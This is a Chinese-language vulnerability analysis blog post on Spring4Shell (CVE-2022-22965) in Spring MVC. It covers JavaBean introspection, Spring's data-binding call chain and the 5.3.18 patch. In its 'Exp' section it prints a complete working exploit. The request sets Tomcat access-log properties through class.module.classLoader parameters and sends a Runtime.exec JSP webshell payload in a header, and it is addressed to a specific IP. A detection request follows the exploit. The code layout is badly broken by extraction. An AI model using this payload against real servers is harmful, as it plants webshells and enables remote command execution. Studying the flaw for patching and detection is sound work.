A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
环境搭建
VulEnv/springboot/cve-2022-22965 at master · XuCcc/VulEnv
前置知识
JavaBean
一个典型的 Bean 对象如下
classUserInfo
{
private
int
age
;
public
int
getAge()
{
return
age
;
}
public
void
setAge(int
age
){
this.
age
=age
;
}
}
通过private
定义属性 通过public getXyz/setXyz
来读写的class
被称为 JavaBean [^1]
Introspector
java.beans.Introspector
[^2] 提供一套标准的方法来访问javaBean
中的属性、方法、事件,会搜索Bean
本身并一路往上搜索父类来获取信息。如通过java.beans.PropertyDescriptor
来获取属性相关的信息(name/getter/setter/...
)
publicstatic
void
main(String
args
[])throws
IntrospectionException
{
BeanInfo
info
=Introspector.getBeanInfo(UserInfo.class);
PropertyDescriptor[]
propertyDescriptors
=info
.getPropertyDescriptors();
for
(PropertyDescriptor
propertyDescriptor
:propertyDescriptors
){
System.
out
.println(propertyDescriptor
);
System.
out
.println("=================================================");
}
}
// java.beans.PropertyDescriptor[name=age; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@6e1567f1; required=false}; propertyType=int; readMethod=public int person.xu.vulEnv.UserInfo.getAge(); writeMethod=public void person.xu.vulEnv.UserInfo.setAge(int)]// =================================================// java.beans.PropertyDescriptor[name=class; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.Class; readMethod=public final native java.lang.Class java.lang.Object.getClass()]// =================================================
也可以通过内省操作来进行赋值操作
UserInfouser
=new
UserInfo();
System.
out
.println("age: "+
user
.getAge());PropertyDescriptor
pd
=Arrays.stream(
info
.getPropertyDescriptors()).filter(p
->p
.getName().equals("age")).findFirst().get();
pd
.getWriteMethod().invoke(user
,18);
System.
out
.println("age: "+
user
.getAge());
// age: 0// age: 18
Spring BeanWrapperImpl
提供了一套简单的api来进行JavaBean
的操作,以及一些高级特性(嵌套属性、批量读写等)
publicclass
User
{
private
String
name
;
private
UserInfo
info
;
public
String
getName()
{
return
name
;
}
public
void
setName(String
name
){
this.
name
=name
;
}
public
UserInfo
getInfo()
{
return
info
;
}
public
void
setInfo(UserInfo
info
){
this.
info
=info
;
}
public
static
void
main(String
args
[]){
User
user
=new
User();
BeanWrapper
bw
=PropertyAccessorFactory.forBeanPropertyAccess(
user
);
bw
.setAutoGrowNestedPaths(true);
bw
.setPropertyValue("name","wang");
bw
.setPropertyValue("info.age",18);
System.
out
.printf("%s is %d%n",user
.getName(),user
.getInfo().getAge());
}
}
// wang is 18
在 setPropertyValue(“name”, “wang”) 处分析调用逻辑,大致了解下流程
org.springframework.beans.AbstractNestablePropertyAccessor[^3]
- 调用getPropertyAccessorForPropertyPath方法通过 getter 来获取嵌套属性
getPropertyAccessorForPropertyPath 存在嵌套A.B.C
属性时,循环调用 getter 取值
- 调用setPropertyValue方法通过 setter 来设置属性
processKeyedProperty 设置 Array/List… 对象
processLocalProperty 设置简单 Bean 对象
getLocalPropertyHandler 获取属性描述符
getCachedIntrospectionResults 从缓存中获取 PropertyDescriptor
CachedIntrospectionResults#forClass 为当前Bean创建缓存
…
setValue 通过反射调用 setter 进行赋值
Spring data bind
以如下的controller
为例,跟踪 spring 参数绑定的过程
@GetMapping("/")public
String
info(User
user
){
return
String.format("%s is %d",
user
.getName(),user
.getInfo().getAge());}
- 传入的 http 请求经过
- org.springframework.web.servlet.DispatcherServlet#doDispatch处理,寻找对应的 Handler 进行处理
- org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequest 调用 Handler 前进行参数绑定
- 使用响应的
org.springframework.web.method.support.HandlerMethodArgumentResolver#resolveArgument 来进行参数解析,从request
中获取参数。这里为org.springframework.web.method.annotation.ModelAttributeMethodProcessor#resolveArgument
- 接下来进入到 org.springframework.validation.DataBinder#doBind,根据 JavaBean 对象来进行赋值。这里会获取一个BeanWrapperImpl通过setPropertyValues来进行赋值
- org.springframework.beans.AbstractPropertyAccessor#setPropertyValues
- org.springframework.beans.AbstractNestablePropertyAccessor#setPropertyValue
源码分析
官方在5.3.18
修复了这个问题,查看Comparing v5.3.17…v5.3.18 · spring-projects/spring-framework在org.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults
处进行了相关修改,加强了一个PropertyDescriptor
相关的过滤。查看相关调用
- org.springframework.beans.CachedIntrospectionResults#forClass
- org.springframework.beans.BeanWrapperImpl#getCachedIntrospectionResults
结合上文的内容不难推断,Spring在进行参数绑定时调用的BeanWrapperImpl
在进行JavaBean操作时触发了此漏洞。
<init>:272,CachedIntrospectionResults
(
org
.springframework
.beans
)
forClass
:181,CachedIntrospectionResults
(
org
.springframework
.beans
)
getCachedIntrospectionResults
:174,BeanWrapperImpl
(
org
.springframework
.beans
)
getLocalPropertyHandler
:230,BeanWrapperImpl
(
org
.springframework
.beans
)
getLocalPropertyHandler
:63,BeanWrapperImpl
(
org
.springframework
.beans
)
processLocalProperty
:418,AbstractNestablePropertyAccessor
(
org
.springframework
.beans
)
setPropertyValue
:278,AbstractNestablePropertyAccessor
(
org
.springframework
.beans
)
setPropertyValue
:266,AbstractNestablePropertyAccessor
(
org
.springframework
.beans
)
setPropertyValues
:104,AbstractPropertyAccessor
(
org
.springframework
.beans
)
applyPropertyValues
:856,DataBinder
(
org
.springframework
.validation
)
doBind
:751,DataBinder
(
org
.springframework
.validation
)
doBind
:198,WebDataBinder
(
org
.springframework
.web
.bind
)
bind
:118,ServletRequestDataBinder
(
org
.springframework
.web
.bind
)
bindRequestParameters
:158,ServletModelAttributeMethodProcessor
(
org
.springframework
.web
.servlet
.mvc
.method
.annotation
)
resolveArgument
:171,ModelAttributeMethodProcessor
(
org
.springframework
.web
.method
.annotation
)
resolveArgument
:122,HandlerMethodArgumentResolverComposite
(
org
.springframework
.web
.method
.support
)
getMethodArgumentValues
:179,InvocableHandlerMethod
(
org
.springframework
.web
.method
.support
)
invokeForRequest
:146,InvocableHandlerMethod
(
org
.springframework
.web
.method
.support
)...
Exp 编写
由于 JDK9 新提供了 java.lang.Module[^4] 使得在CachedIntrospectionResults#CachedIntrospectionResults
能够通过class.module.classLoader
来获取classLoader
,所以这个洞也是 CVE-2010-1622[^5] 的绕过。
目前流传的EXP都是利用 Tomcat 的ParallelWebappClassLoader
来修改 Tomcat 中日志相关的属性[^6],来向日志文件写入 webshell 达到命令执行的目的。
例如向webapps/shell.jsp
写入 http header 中的cmd
class.module
.classLoader
.resources
.context
.parent
.pipeline
.first
.pattern
=%{cmd
}i
class.module
.classLoader
.resources
.context
.parent
.pipeline
.first
.suffix
=.jsp
class.module
.classLoader
.resources
.context
.parent
.pipeline
.first
.directory
=webapps
/ROOTclass.module
.classLoader
.resources
.context
.parent
.pipeline
.first
.prefix
=shell
class.module
.classLoader
.resources
.context
.parent
.pipeline
.first
.fileDateFormat
=
发送报文
GET/?class.
module
.classLoader
.resources
.context
.parent
.pipeline
.first
.pattern
=%25%7bcmd
%7di
&class.module
.classLoader
.resources
.context
.parent
.pipeline
.first
.suffix
=.jsp
&class.module
.classLoader
.resources
.context
.parent
.pipeline
.first
.directory
=webapps
%2fROOT
&class.module
.classLoader
.resources
.context
.parent
.pipeline
.first
.prefix
=test
&class.module
.classLoader
.resources
.context
.parent
.pipeline
.first
.fileDateFormat
=HTTP/1.1
Host
:7.223.181.36:38888
Upgrade
-Insecure
-Requests
:1
User
-Agent
:Mozilla
/5.0(
Windows
NT10.0;
Win64
;x64
)AppleWebKit
/537.36(KHTML,
like Gecko
)Chrome
/95.0.4638.69Safari
/537.36
Accept
:text
/html
,application
/xhtml
+xml
,application
/xml
;q
=0.9,image
/avif
,image
/webp
,image
/apng
,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cmd: <%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>
就可以利用shell.jsp?a=cmd
来执行命令了
一些其他利用细节可以参考:关于Spring framework rce(CVE-2022-22965)的一些问题思考
补丁修复
Spring 在获取属性描述符时加强了判断,只留下了name
属性。
if(Class.class
==
beanClass
&&(!"name".equals(
pd
.getName())&&
!
pd
.getName().endsWith("Name"))){
// Only allow all name variants of Class properties
continue;}if
(
pd
.getPropertyType()!=
null
&&
(ClassLoader.class.isAssignableFrom(
pd
.getPropertyType())
||
ProtectionDomain.class.isAssignableFrom(
pd
.getPropertyType()))){
// Ignore ClassLoader and ProtectionDomain types - nobody needs to bind to those
continue;}
Poc 编写
通过错误地设置classloader
下的属性来触发BindException
异常让服务端返回异常即可判断是否存在漏洞,例如发送
GET/?class.
module
.classLoader
.defaultAssertionStatus
=123HTTP/1.1
Host
:127.0.0.1:39999
Cache
-Control
:max
-age
=0
Upgrade
-Insecure
-Requests
:1
User
-Agent
:Mozilla
/5.0(
Windows
NT10.0;
Win64
;x64
)AppleWebKit
/537.36(KHTML,
like Gecko
)Chrome
/95.0.4638.69Safari
/537.36
Accept
:text
/html
,application
/xhtml
+xml
,application
/xml
;q
=0.9,image
/avif
,image
/webp
,image
/apng
,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
服务端返回
HTTP/1.1400
Content
-Type
:text
/html
;charset
=UTF-8
Content
-Language
:zh
-CN
Content
-Length
:277
Date
:Fri
,08
Apr
202203:49:42
GMT
Connection
:close
<html
><body
><h1
>Whitelabel Error Page
</h1
><p
>This application has no explicit mapping
for/
error
,so you are seeing
thisas
a fallback
.</p
><div id
='created'>Fri Apr
0811:49:42
CST
2022</
div
><div
>There was an unexpected
error(
type
=Bad Request
,status
=400).</div
></body
></html
>
Reference
- Spring Framework RCE, Early Announcement
- SpringShell RCE vulnerability: Guidance for protecting against and detecting CVE-2022-22965 - Microsoft Security Blog
- SpringMVC参数绑定原理 | 技术驱动生活
- Spring Framework RCE漏洞分析 | Gta1ta’s Blog
- CVE-2022-22965 (SpringShell): RCE Vulnerability Analysis and Mitigations
标签:name,22965,springframework,public,beans,2022,org,CVE,class From: https://www.cnblogs.com/z123455/p/16785858.html